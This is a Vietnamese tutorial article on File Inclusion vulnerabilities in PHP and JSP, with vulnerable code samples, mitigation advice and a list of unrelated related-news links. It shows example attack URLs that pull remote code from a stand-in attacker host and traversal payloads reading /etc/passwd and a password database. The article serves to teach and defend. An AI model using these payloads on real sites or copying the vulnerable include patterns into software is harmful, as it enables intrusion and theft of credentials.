Tìm hiểu về tấn công khai thác lỗ hổng File Inclusion

19/10/2019

Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dự liệu độc hại.

Hàm ‘Include’

Trước khi nói về chi tiết lỗ hổng, chúng ta cần hiểu sơ qua về một lời gọi hàm ‘include()’. Toàn bộ nội dung trong một file cụ thể sẽ được sao chép vào một file khác chứa lời gọi ‘include’. Phương thức này được sử dụng nhằm tránh việc code lặp và có thể sử dụng bất kì lúc nào. Lập trình viên thường sử dụng hàm include() nhằm thêm những dữ liệu, tệp tin mã nguồn dùng chung của các tệp tin trong ứng dụng. Những nơi thường được sử dụng như footers, headers, menu files … Dưới đây là một ví dụ đơn giản về hàm include.

1. Một menu trang như sau

menu.php:<?phpecho ‘<a href=”/home.asp”>HOME</a><a href=”/details.asp”>DETAILS</a><a href=”/contact.asp”>CONTACT US</a>;?>

2. Menu trang này có thể được sử dụng lại trong tất cả các trang của ứng dụng bằng cách dùng hàm include()

abc.php<html><body><div class =”menu”><?php include ‘menu.php';?></div><p>WELCOME</p></body></html>

3. Giờ thì file menu.php đã được bao hàm trong file abc.php, bất cứ khi nào abc.php được truy cập, nội dung trong file menu.php sẽ được sao chép vào abc.php và thực thi.

Tuy nhiên vấn đề này có thể bị tin tặc khai thác và tấn công trở lại website gây những hậu quả rất nguy hiểm. Đây là 2 lỗ hổng chính rất nguy hiểm liên quan đến hàm include()

  • Remote file inclusion
  • Local file inclusion

Lưu ý: Trong PHP có 1 số hàm cũng có chức năng tương tự, hay các hàm do người lập trình tự viết như: Inlude_once(), require(), require_once()…

Lỗ hổng Remote file inclusion

RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã độc trên cả máy của người dùng và phía máy chủ. Ảnh hưởng của kiểu tấn công này thay đổi từ đánh cắp tạm thời session token hoặc các dữ liệu của người dùng cho đến việc tải lên các webshell, mã độc nhằm đến xâm hại hoàn toàn hệ thống máy chủ.

Lỗ hổng Remote file inclusion trong PHP

PHP có nguy cơ cao bị tấn công RFI do việc sử dụng lệnh include rất nhiều và thiết đặt mặc định của server cũng ảnh hưởng một phần nào đó. Để bắt đầu chúng ta cần tìm nơi chứa file include trong ứng dụng phụ thuộc vào dữ liệu đầu vào người dùng.

1. Một trong những nơi chứa lỗ hổng có thể như ví dụ dưới đây, giá trị của ‘testfile’ được cung cấp bởi người dùng:

www.victim_site.com/abc.php?testfile=example

2. Mã nguồn PHP chứa lỗ hổng:

$test = $_REQUEST[“testfile”];Include($test.”.php”);

3. Thông số của ‘testfile’ được lấy từ phía người dùng. Đoạn mã sẽ lấy giá trị ‘testfile’ và trực tiếp include nó vào file PHP.

4. Sau đây là ví dụ về một hướng tấn công được sử dụng đối với đoạn mã trên:

www.victim_site.com/abc.php?test=https://www.attacker_site.com/attack_page

File “attack_page” được bao hàm vào trang có sẵn trên máy chủ và thực thi mỗi khi trang “abc.php” được truy cập. Tin tặc sẽ đưa mã độc vào “attack_page” và thực hiện hành vi độc hại.

Remote file inclusion trong JSP

1. Giả sử một kịch bản nơi một trang JSP sử dụng “c:import” nhằm nhập một tên tệp tin nào đó do người dùng cung cấp vào trang JSP hiện tại thông qua biến đầu vào ‘test’:

<c:import url=”<%= request.getParameter(“test”)%>”>

Tấn công:

www.victim_site.com/abc.jsp?test=https://www.attackersite.com/stealingcookie.js

2. Script độc hại trong stealingcookie.js sẽ được đưa vào trang của nạn nhân và điều khiển bởi tin tặc.

Tấn công Local file inclusion

Lỗ hổng Local file inclusion nằm trong quá trình include file cục bộ có sẵn trên server. Lỗ hổng xảy ra khi đầu vào người dùng chứa đường dẫn đến file bắt buộc phải include. Khi đầu vào này không được kiểm tra, tin tặc có thể sử dụng những tên file mặc định và truy cập trái phép đến chúng, tin tặc cũng có thể lợi dụng các thông tin trả về trên để đọc được những tệp tin nhạy cảm trên các thư mục khác nhau bằng cách chèn các ký tự đặc biệt như “/”, “../”, “-“.

Local file inclusion trong PHP:

1. Ví dụ đường dẫn sau có thể bị tấn công:

https://victim_site/abc.php?file=userinput.txt

2. Giá trị của biến ‘file’ được lấy vào đoạn mã PHP dưới đây:

<?php…include $_REQUEST[‘file’];…?>

3. Giờ thì tin tặc sẽ đưa mã độc vào biến ‘file’ để truy cập trái phép vào file trong cùng chủ mục hoặc sử dụng kí tự duyệt chỉ mục như “../” để di chuyển đến chỉ mục khác. Ví dụ tin tặc lấy được log bằng cách cung cấp đầu vào “/apache/logs/error.log” hoặc “/apache/logs/access.log” hay việc đánh cắp dữ liệu liên quan đến tài khoản của người dùng thông qua “../../etc/passwd” trên hệ thống Unix.

Trong một số trường hợp đặc biệt một phần mở rộng mặc định sẽ được thêm vào thông tin được đưa lên từ trình duyệt trước khi đưa vào hàm Include(). Cách tốt nhất tránh những phần mở rộng này là sử dụng byte rỗng kết thúc “%00” để vượt qua. Đây là cách được các tin tặc sử dụng để thực hiện hành vi độc hại và truy cập bất cứ kiểu file nào.

Ví dụ đầu vào được lấy từ đoạn mã sau và phần mở rộng mặc định là “.php”.

<?php“include/”.include($_GET[‘testfile’].”.php”);?>

Nếu tin tặc muốn truy cập một file không phải kiểu “text” chúng sẽ sử dụng một %00 (kí tự byte rỗng sau tên của file.

https://victim_site/abc.php?testfile=../../../../etc/passwd%00

Tương tự Local file inclusion trong JSP:

1. Giả sử URL dưới đây được yêu cầu trong ứng dụng và biến ‘test’ lấy dữ liệu đầu vào trong lệnh include:

www.victim_site.com/abc.jsp?test=xyz.jsp

Giá trị của biến ‘test’ sẽ được chuyển qua:

…<jsp:include page=”<%= (String)request.getParameter(\”test\”)%>”>…

2. Mũi tấn công dành cho đoạn mã trên có thể nằm trong một file database hợp lệ, được sử dụng như một đầu vào. Do có lỗ hổng local file inclusion nằm trong ứng dụng, file database sẽ được include vào trang JSP:

www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB

Khắc phục

Lỗ hổng xảy ra khi việc kiểm tra đầu vào không được chú trọng. Khuyến cáo riêng thì không nên hoặc hạn chế tới mức tối thiểu phải sử dụng các biến từ “User Input” để đưa vào hàm include hay eval.  Trong trường hợp phải sử dụng. với các thông tin được nhập từ bên ngoài, trước khi đưa vào hàm cần được kiểm tra kỹ lưỡng

  1. Chỉ chấp nhận kí tự và số cho tên file (A-Z 0-9). Blacklist toàn bộ kí tự đặc biệt không được sử dụng.
  2. Giới hạn API cho phép việc include file từ một chỉ mục xác định nhằm tránh directory traversal.

Tấn công File Inclusion có thể nguy hiểm hơn cả SQL Injection do đó thực sự cần thiết phải có những biện pháp khắc phục lỗ hổng này. Kiểm tra dữ liệu đầu vào hợp lý là chìa khóa để giải quyết vấn đề.

Tổng hợp

 

Tin liên quan

23/01/2023

Xu hướng Cloud 2023 hàng đầu các doanh nghiệp cần biết

Nhiều doanh nghiệp đang tích cực chạy đua với cuộc đua “số hóa”, để có được khả năng cạnh tranh cao nhất trên thị trường. Vây nên, xu hướng Cloud 2023 là những điều đang được các doanh nghiệp rất quan tâm hiện nay. Trong bài viết này, Viettel IDC sẽ đề cập đến bạn những xu hướng về điện toán đám mây hàng đầu trong năm 2023 chúng ta cần biết nhé, bên cạnh các công nghệ thực tế ảo VR, metaverse.

19/01/2023

Dự báo TOP các xu hướng công nghệ hàng đầu trong năm 2023

​Các xu hướng công nghệ 2023 nổi bật được các chuyên gia dự đoán sẽ phát triển mạnh mẽ trong những năm tới là trí tuệ nhân tạo AI, công nghệ chuỗi khối Blockchain, vũ trụ ảo Metaverse. Việc bắt kịp và thích ứng với các công nghệ này sẽ giúp các doanh nghiệp có thể nâng cao khả năng cạnh tranh của mình trong thị trường khốc liệt sắp tới. Dưới đây, hãy cùng Viettel IDC điểm qua những xu hướng công nghệ 2023 nổi bật nhé!

13/01/2023

2022 - Thời kỳ bùng nổ của Cloud tại Việt Nam

​Công nghệ điện toán đám mây - Computing Cloud năm 2022 đã phát triển và bùng nổ cực kỳ mạnh mẽ, từ đó ảnh hưởng tới nhiều doanh nghiệp lớn và nhỏ. Dưới đây, chúng ta hãy cùng xem lại các xu hướng Cloud năm 2022 phổ biến nhất với Viettel IDC nhé!

11/10/2022

Những thông tin nhất định phải biết về Ethereum mới phiên bản 2.0

Ethereum 2.0, còn được biết đến là Eth2 hay “Serenity”, là một bản nâng cấp dành cho Ethereum Node, hứa hẹn sẽ cải thiện đáng kể chức năng và trải nghiệm của toàn bộ mạng. Tuy nhiên, đó chỉ là phần nổi của tảng băng chìm. Với việc Ethereum là một trong những loại tiền điện tử phổ biến nhất trên hành tinh, việc tìm hiểu Ethereum 2.0 thực sự là gì và nó sẽ ảnh hưởng như thế nào đến toàn bộ lĩnh vực tiền mã hóa vô cùng quan trọng. Ở bài viết này, Viettel IDC sẽ cung cấp cho bạn những thông tin nhất định phải biết về Ethereum phiên bản 2.0 nhé!

13/10/2022

Công nghệ chuỗi khối Blockchain là gì? Cơ chế hoạt động của chuỗi khối Blockchain?

Công nghệ Blockchain (chuỗi khối) đang dần trở thành xu hướng mới trên thị trường đầu tư và công nghệ toàn cầu. Công nghệ này có tiềm năng ứng dụng to lớn trong các ngành từ dịch vụ tài chính, sản xuất và khu vực công cho đến chuỗi cung ứng, giáo dục và năng lượng. Việt Nam cũng không nằm ngoài xu thế này. Chính vì vậy, việc tìm hiểu về Blockchain ngay từ bây giờ là rất cần thiết đối với các bạn trẻ.

14/10/2022

Tìm hiểu kiến thức về Public Chain và Private Chain

Nền tảng blockchain đã phát triển mạnh mẽ và được ứng dụng rộng rãi trong nhiều lĩnh vực. Các phân loại của blockchain như Private, Public mang những sự khác biệt dẫn đến trải nghiệm người dùng khác nhau và đa dạng hóa sự lựa chọn loại blockchain phù hợp. Hãy cùng CryptoLeakvn tìm hiểu sự khác nhau giữa Public và Private blockchain, cũng như tìm ra lựa chọn tối ưu nhất trong các loại blockchain này thông qua bài viết hôm nay.

05/10/2022

Công nghệ Blockchain là gì? Lợi thế vượt trội khi doanh nghiệp ứng dụng Blockchain

Trong thời gian gần đây, công nghệ Blockchain đã và đang dần trở thành xu hướng trên toàn cầu, trong đó có cả Việt Nam. Có thể nói, ngành công nghệ này đã mang lại nhiều lợi ích to lớn cho doanh nghiệp, từ lĩnh vực tài chính, sản xuất cho đến cả giáo dục hoặc năng lượng.

12/10/2022

​Tất tần tật kiến thức quan trọng về hạ tầng Blockchain

Mọi hệ thống phức tạp đều yêu cầu cơ sở hạ tầng thích hợp, hoặc tài nguyên và một khuôn khổ cơ bản để hoạt động. Cũng giống như lưới điện, các trạm phát điện và đường ống bao gồm cơ sở hạ tầng năng lượng cần thiết để cung cấp điện cho một quốc gia. Do đó, các Node, phần mềm và hệ thống dựa trên đám mây hoặc phần cứng được yêu cầu để chạy các mạng Proof of Stake (PoS).

09/10/2022

Tất tần tật từ A - Z về dịch vụ Blockchain

Hiện nay, dịch vụ Blockchain đã phát triển mạnh mẽ và mở ra một xu hướng mới cho nhiều lĩnh vực khác nhau như trong tài chính, điện tử viễn thông, kế toán, logistics,... Vậy, cụ thể thì Blockchain là gì? Chúng có thể mang lại những lợi ích gì cho chúng ta? Hãy cùng Viettel IDC tìm hiểu câu trả lời cho những vấn đề này nhé! Bài viết dưới đây sẽ giải đáp chi tiết giúp bạn.

08/10/2022

Node là gì? Nên thuê Ethereum Node hay Bitcoin Node?

Bạn mới tìm hiểu về Node Blockchain, và đang phân vân không biết nên thuê Ethereum Node hay Bitcoin Note? Cách hoạt động của Node là gì? Trong bài viết này, Viettel IDC sẽ giải đáp các câu hỏi này cho bạn đọc, cùng nhau theo dõi bài viết bên dưới nhé!

// doi link